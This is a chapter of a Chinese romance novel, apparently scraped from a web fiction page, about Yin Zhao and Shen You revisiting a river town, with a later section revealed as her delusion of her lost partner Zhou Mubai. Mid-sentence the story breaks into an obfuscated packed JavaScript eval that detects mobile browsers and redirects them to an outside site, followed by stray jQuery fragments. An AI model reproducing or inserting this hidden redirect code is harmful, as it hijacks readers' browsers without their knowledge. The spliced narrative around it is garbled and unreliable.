*


    午后，回民宿避暑。


    喝茶逗猫聊天打瞌睡，等到日头渐西，他们才又出门。


    沈宥把门推开一半，美女老板赶来，送了张手绘地图，非要他们拿上，圈出赠送的几处非遗体验地址，先向左再向右的念叨来念叨去。


    他没耐心听，瞅一眼尹昭，就知道她也没认真听。她从来不按左右记方向，但她比他善良，会赶在耐心告罄前温柔打断。


    谢谢啦，我们先走走，不行再找您问路。


    她笑得漾出两颊梨涡，比他中午从她杯中尝过的泡鲁达还甜。怎么会有人不喜欢她呢。


    喜欢她的人越来越多了。


    所以他把她拉走了。


    逛过几处旧民宅与博物馆，又循着地图踏进一间小院。阳光下立着几口缸，布幔跳进去染了深深浅浅的蓝，自顾自地美，又自在晒起太阳来。空气里板蓝根的味道，他头一次觉得好闻。


    他问她想染条裙子吗，她摇头说想要一块桌布。他们就都染了桌布。她给自己选的花纹太精细，效果不尽人意，但她也不遗憾，只诚心诚意夸他染得好。


    他就问她，会绣花吗，说她若是能在这桌布一角绣上沈侑之作，他就送她了。


    晚餐是她找的地方。


    她领着他在巷子深处，探头看看，就选定了个小馆子，一张窄四方桌，摆几碟炒菜，有乡音，有烟火气。味道是不错。


    结过账，他为她掀了门帘，仰头看去。


    暮日还未沉入远山，弯月已高挂木檐。


    他与她漫步河边：“还记得那年我们从酒吧出来去了哪吗？”


    “去算了命，放了河灯，然后下雨了。”


    “再去找找那个算命阿婆？我想买块玉。”


    “怎么？最近运势不顺，上次买的那块玉不好使了吗？”


    “我没买，当时没顾上。你记得方向吗？”


    “酒吧往四方街去的第三或者第四座桥边吧。”她记性一向很好：“也不知道那阿婆还在不在了？”


    阿婆不在了，桥边有个扎马尾的妹子在推三轮车卖鲜花，忙得热络。


    玫瑰、雏菊、小苍兰和许多不知名野花，层层叠叠堆在车后上，妹子随手扯来几枝，白纸一包丢到桶里，就成了五元一把的花束。再过一会晚市人多了，应该会很好卖。


    沈宥愣了，回头眺望前一座桥，也是空。


    尹昭却已上前，挑着花束打听：“这儿以前是不是有个算命的阿婆摆摊呀？”


    “嗯。”妹子眼皮未抬：“阿婆去年走了。”


    “那给我一束花吧。”她拿了束小雏菊，蹲下搁在桥下青石阶旁。


    他抽身离梦，走过去扶起她：“你说，当初阿婆为何独独拦了下我们？”


    她打趣他：“自然是阿婆一眼就看出沈总大富大贵。有钱人的生意，做一顶十。阿婆不是哄你买了块能逢凶化吉的玉？”


    “可是，我没买。”他拉了下她胳膊。


    “嗯？”她兀自转身，踏上石桥阶。


    “你先走了，我着急去找你，就没买。”他紧跟上她的脚步，又讲：“那也不是用来逢凶化吉的玉。”


    他希望她问一句，可她什么也没问。


    她只是信步往前走，如那年一样，走向茫茫人海，不回头。


    那年，他们走出酒吧时已是夜深。


    路边小贩都在收摊打烊了，不想却有个缠花头巾的白发阿婆乍然出声招呼，问老板要不要看个手相，算个命数。


    四下寂静，这一声太突兀，他们停了步。


    沈宥斜觑一眼阿婆桌上铺的旧布幡，斑驳似洗褪了色也洗不掉的脏污，他眉骨稍抬，置若罔闻地提步就要走。


    她却最爱对路人起恻隐之心，见阿婆伶仃一人，就折过去递了十块钱，问够算一卦吗。


    她随口一问，阿婆也接了。


    钞票悉心沓开收进铁盒里，又指着桌上字样，问她算事业还是算姻缘。


    沈宥从来不信这些迷信把戏，只立于原地闲闲等她，听了这声姻缘，却似被月老的红线勾缠上又牵引着，不受控地走近她。


    可她已脱口答了事业。


    阿婆请她借手相一看，桌上支起的佝偻台灯之下，白皙掌心生长出清晰交错的纹路。


    她少见地紧张，频频瞥他，可能是希望他避开她的命数。


    他故意装作不知，抱臂倚着桥下石砖，隔不远不近的距离，讨嫌地硬蹭着听完。阿婆说的几个词，他记到现在，说她福大命大、有志竟成、贵人多助、遇难呈祥。


    不算太好的判语，沈宥想。


    她也未见欣喜，只若有所思地点头，讲谢您吉言了。


    阿婆点点头，皱纹满布的脸又转向他，问他要算个姻缘吗。他一下子愣了，不敢说算也不说不算，反而和阿婆打起太极来。


    等他终于从阿婆那讨到答案，才发现她已不在了，大抵觉得听人命数不礼貌，走开了。


    “尹昭！”他不许她没入人海。


    “嗯？”她还是会回头，会为他驻足的。


    “那块玉不是保佑我逢凶化吉的。”


    她不问，他就自己说。


    沈宥走向凭栏的她，与她并肩而立，敛眉低目道：“是佑你姻缘的。我想知道，就问了阿婆。阿婆经不过我求，给了我一句话，说你良人难觅。”


    他看见远处桥下又有星火，是一伙年轻人俯身在放河灯：“我根本不信。我觉得你怎么会良人难觅呢？再不济也有我，我怎么不算个良人呢？一错手，我就没买那块玉。”


    “所以昭昭，我想过的，只是那时没想好，才不敢问，也不敢承诺。”


    几盏莲花样的河灯，燃着梦与烛火。


    岁岁又朝朝，慢悠悠，漂在夜河里，漂向他们。


    “怎么先走开了？想放河灯？”他那年也能在人海里找到她。


    她在盏盏烛光里回眸，身侧立着木架，古朴河灯成列摆放，火苗摇曳着，晃得他眼晕。


    “嗯。要来一盏吗？”她眼里光芒温暖：“我请你。”


    “你怎么尽搞迷信？”他这样说，却俯身取了一盏。


    “入乡随俗，来都来了。”她递来笺纸，又微低下头，已先执了笔。


    “你写了——”他从不与她见外，目光直落向她掌心里的一方纸。


    夜阑人静，烛光映出素纸上的字迹，隽永有锋。


    只四个字，生生世世，平稳安然躺于她的掌心。


    有什么咚咚敲着心门，敲得他心慌难言。


    几盏蜡烛，烧着无边夜色，令他昏头昏脑地热，也令他忽然地怕，怕热怕烫怕失控。


    他敛回了目光，最后只寡淡地说：“你写的字挺好看。”


    河灯终于漂到了桥下，轻轻地摆，轻轻地荡。


    烛下字笺依稀可见，平安幸福美满久长。


    有些事，隔岸观火，才看得明白。


    他再一次把目光落向她：“昭昭，你能给我一句真话吗？”


    “那盏河灯，你当着我的面，在愿望里写生生世世。是想把你和周牧白的故事告诉我，对吗？是想问问我，如果只有这一世，我会不会也愿意陪你一起，对吗？”


    可我却以为，你在向我讨一个生生世世的承诺，吝啬地装看不见。


    这样自私卑劣的我，一定被你看出来了，让你很失望吧。


    “如果是，那现在与未来，我都会答应。”


    他转身向她，给出迟到的承诺，一手探进口袋，一手紧握住她的手。


    可她没有动，连睫毛也没有眨一下。


    他爱的这张面孔，从眉骨至下颌的轮廓起落，从来都清晰到凛冽。


    他固执地等了许久，她才转过了身。


    那笑容似起了雾，飘渺目光掠过他，落向他身后的街边酒馆：


    “你想太多了。去喝点酒吧。”


    心就和口袋里的方盒一同坠下。


    往长河尽头眺去最后一眼，跟上已渐行渐远的她。


    他错过的，可能是她这几年唯一的心动证据。


    在他沉默的注视下，被她写下又折好，藏进一盏河灯里，穿桥而过，越来越远，漂向夜河的尽头。


    到最后，或许是燃尽了蜡烛，也或许是被落下的淅沥小雨打翻或浇湿。


    他是错过了证据，却还想再问问证词。


    未到夜场时间，酒吧人少安静，他们寻了个角落的高脚桌坐下。


    “喝点什么？”沈宥接了酒水单。


    “都行，你点吧。醉了有你管我就行。”


    “你会醉吗？”他短促地笑了声。


    “会吧，哪有不醉的人呢。”她也笑。


    侍应生端了瓶苏格兰威士忌来，配两个放好冰球的古典杯，以及一小杯玛格丽特。


    尹昭主动斟了酒，她捏着杯壁，灯光折射出深深浅浅的棕色，晶莹剔透，令她觉得好看就又多喝了几杯。


    沈宥也没拦她，先尝了口青柠味。


    他或许陪她聊了些什么，但都是些无关紧要的闲话，或者没有答案的废话。


    “醉了吗？”他又往她杯中倒了些酒。


    “没醉。”她支着下巴摇头。


    “那就是醉了。”他望着杯中的碎浮冰。


    “我说啦，我没醉。”她眼睛亮得像星星。


    “要不我出个问题考考你？你能答上来，我就同意你没醉。”他抬手刮了下她鼻尖。


    “你说。”她的目光随他的手一同落下，修长润直，不见纹不见痕，指甲总修剪得干净。


    “昭昭，你放河灯时写的生生世世。”


    他倾了身，双臂压上桌面，脸庞隐入灯下阴影，眸光却似水温柔：“是在想那个叫沈侑之的，还是在想我？”


    她很久没见过他了。


    头发剪短了些，发根立得硬挺，全是凌乱不服管的洒脱，穿了深黑的落肩圆领T恤，棉质平实，但质感很好，也很有锐意朝气。


    是她熟悉的那个模样。


    “当然是在想你啦。”


    她将眼睛眯起，弯成一条线，捧着脸与他挨到极近，笑眼热烈又坦荡：


    “牧白，我想生生世世的人只有你。”


    她的目光几乎黏上了他。


    黏黏的，不错过他的每次眨眼每个表情。


    “真的吗？”他爽朗地笑，往自己的杯中加酒：“是不是在骗人呢？没有想过他一秒钟？”


    “没有，绝对没有。”她像小狗一样摇头。


    “那该怎么证明呢？”他右手拇指用力地摁上她的下巴尖，腕上用力抬起，迫她看他，左手却闲闲拈起了酒杯，想再喝一口。


    怦。刚离了半寸的杯底，磕在桌上。


    温热双唇印了过来，磕在他的唇上。


    他怔愣一秒，就碾过去，探进去，尝到她的柔软，还有舌尖微醺的一点甜，和回味里的酸涩。他想，他也快醉了。


    “牧白，我从来不会对你说谎的。”


    她似乎醉得更厉害了，双手托着脸，无所顾忌地盯着他，染红的眼角与眉梢俱是流不尽的笑，语气里三分娇气三分嗔怪：


    “说谎太难了。说一个谎，要再编十个谎来圆。”


    “嗯好，又没说不信你。”


    他漾着笑，温暖手掌覆上她的手，引她拭去眼角润湿：“怎么还这么爱哭？赶紧擦擦，看把我们昭昭哭的。”


    “是很难。一旦开了头，就要一直说下去。”他望着她的眼，似有无尽怜惜：“你又喜欢内耗，一说谎就内疚，可怜兮兮的。以后说谎的事就交给我，好不好？”


    “我没哭，也没说谎，我只是喝了点酒。”


    她任性地闭眼，在他掌心里嚷嚷。


    “嗯好，没哭，没说谎。”他再不迟疑地温柔应声，望了眼半空酒瓶，低低地笑：“但这酒是真不能再喝了。”


    他把酒水都推开，牵起她的左手，搭在自己膝上轻捏掌心：“趁着今天还早，难得有机会一起来锦亭，我们再去镇子里逛逛，好不好？”


    她大抵是真醉了，话也不会答。


    支着下颌，只迷迷蒙蒙地长久地看他，不知在想什么梦什么。


    他就又刮了下她的鼻尖，惹得她一惊，才小心翼翼地问：“你不是许了愿，想见面，想一起逛古镇，一起看水看山吗？我们一个一个去实现好吗？”


    她迟缓地点了头，他就把她拉走了。


    牵着手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398036|182306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挤进人海里。


    人海在游，所以他们不会有尽头。


    周牧白总是知道很多。


    他知道山脉，知道森林，知道冰川，知道气候，知道星象，也认识路边的植物。


    文创店里摆满了琳琅满目的冰箱贴和明信片，她思来想去，挑花了眼，求助地看他，他就会一一再与她讲来山脉与冰川的故事，笑容永远耐心。


    周牧白也最了解她。


    他知道她爱吃什么，也知道她最怕浪费。


    就像那年在宗古的街边，见她望着炭火架上的包浆豆腐盘算个不停，他就会越过她，为她买好装好，筷子喂到她嘴边。


    这一次，她又站在了豆腐摊前，他照旧去买来，如今已换了小木棍来递到嘴边，怕她烫似地专心看她咬下，又笑问她，比起上次，是哪家更好吃？


    她也戳起一块喂他，说你尝尝就知道啦。


    周牧白总能比她更懂她想做什么。


    他牵着她，推开古镇邮局的门。


    “把你买的明信片都寄出去吧。”他拿来印章与成摞的邮票，又把笔塞给她：“小朋友们收到了一定很开心。”


    “可我不知道他们现在都在哪了。”


    “没事，你负责写名字和想说的话就好，我来写地址帖邮票。”


    她的难题，在他那永远不是难题。


    格桑，李俊杰，余秀，卓央，赵源力……


    邮局长桌前，她写一个名字，就自然想起下一个名字，写一张明信片，就递给他一张。


    她给每一个当年班上的小朋友写——


    「好久不见，还记得2011年来五小支教的尹老师吗？她回禾洛村了，看见乔朗峰就想念起大家，希望这张明信片能把祝福带到，愿大家岁岁平安年年美满。」


    “我忘记多吉的姐姐叫什么了？”她忽然停笔，微偏了头瞧他。


    “格桑。”他头也未抬地答，手中握笔更是半点也未停。


    “你为什么知道地址？”她还是没忍住问。


    “想知道，总有办法的。”他答得不经心。


    地址栏里的字迹恣意放肆。


    像疯狂生长的枝桠。


    “我好像少买了一张明信片。”她写完了桌上明信片，怅惘垂眸，盯着木纹轻声道。


    “嗯？”他一怔，不疾不徐地贴完最后一张邮票，又去货架上挑了张明信片，俯身从她背后搁到桌上：“那写在这吧。”


    明信片上印的是乔朗峰。


    她拿起笔，他也未离开她的背后，单手撑在桌上，是为她遮蔽一切风雨的姿势。


    在他倾身而下的阴影与温暖里，她写下最后一张寄语。


    「万物向新，不念过往，不惧将来。


    与君共勉。尹昭。」


    他陪着她，看她把所有明信片投入邮筒。


    忽然在想，有些话在什么时间被寄出又被送达，太重要。


    路过银器店时，他拉住了她的手。


    他仍有在期许：“想去买一对戒指吗？”


    她摇头，他还是牵着她进去了，买了说是护佑姻缘的双鱼银挂坠，为她系在了脖颈上。


    路过鲜花饼店时，他又拉住了她的手。


    他不确定地问：“要买点伴手礼回去吗？”


    她点头，然后她买了最新鲜的赏味期限仅到次日的现烤鲜花饼，他也没说什么。


    人潮渐渐退去，他们走到了民宿脚下。


    他在青石阶前转身，笑容照亮黑夜：“累了吗？我背你，好不好？”


    她点头，他就俯了身。


    像那年在每一段爬不动的山路前一样。


    她安心地趴在了他宽阔的肩上，听见的心跳声已辨不清是她还是他。


    他背她，熟稔又轻松，手臂松弛得稳，步伐也平缓得稳，没有半点不适与颠簸，甚至有闲心偏头与她聊天：“今天有开心一点吗？”


    她又点头，下巴往他脸颊上蹭。


    他就温柔地笑：“你这样，我看不见的，不知道你是在摇头，还是在点头？”


    她嗓子沙哑，一时难言，又去蹭他。


    蹭得他喉间逸出低笑，听见他在自言自语：“应该会开心点吧。至少今年的生日愿望算实现了……大概一小半？可能有点晚了，但我能补一句生日快乐吗？”


    生日快乐，昭昭。


    她把头埋进了他肩窝，彻底地说不出话。


    “小醉鬼。”他逗她，轻声取笑她：“这下该承认自己喝醉了吧。”


    “我没醉。”她在喉咙里哼出模糊音节。


    “那我再给你出个问题？你答对了，我就信你没醉。”他侧过脸，亲了下她脸颊：“醉酒的人说的是真话，还是假话？”


    “真话。”她清清嗓，认真在耳边讲。


    “嗯答对了，没醉。”他笑里沾了些坏。


    掉进陷阱里的她不太满意，就恨恨地把他的脖子搂得更紧了些。


    他就也把手臂收紧了，纵容着在笑：“怎么？说你没醉，还不开心了？”


    她不说话了，把脸贴近他。


    嘴唇若即若离印在他后颈，安静得像睡着了一般。


    他也安静了，只是看见月亮拉出的影子又短了些，眼眶就忽有些热，想唤醒她：


    “昭昭，差点忘了，还有个礼物是想给你的，就在我的口袋里，你看看喜不喜欢？”


    她有多聪明呢，永远做她该做的事。


    歪着脑袋睡在他背上，落在他后颈处的温热呼吸，在安静无声里变得更悠长更绵柔。


    是叫不醒的，却也是他的地久天长。


    等到他踏上了最后一阶：


    “昭昭，我们到了。”


    他开始希望她不要醒了，但他的希望总会落空。这大概是妄想症唯一不好的地方。


    尹昭再一次睡醒时，锦亭镇的这间民宿客房只余她一人了。


    拉开纱帘，阳光就争先恐后地涌进来，又爬上床尾的五斗柜，暖洋洋地照耀着她的日记本、咖啡豆、扎染桌布、鲜花饼，以及一个小小的黑丝绒方盒。


    她打开它，一颗光泽莹润的湛蓝钻石。


    宛如远古冰川冻结的水滴，凝固了时间与记忆。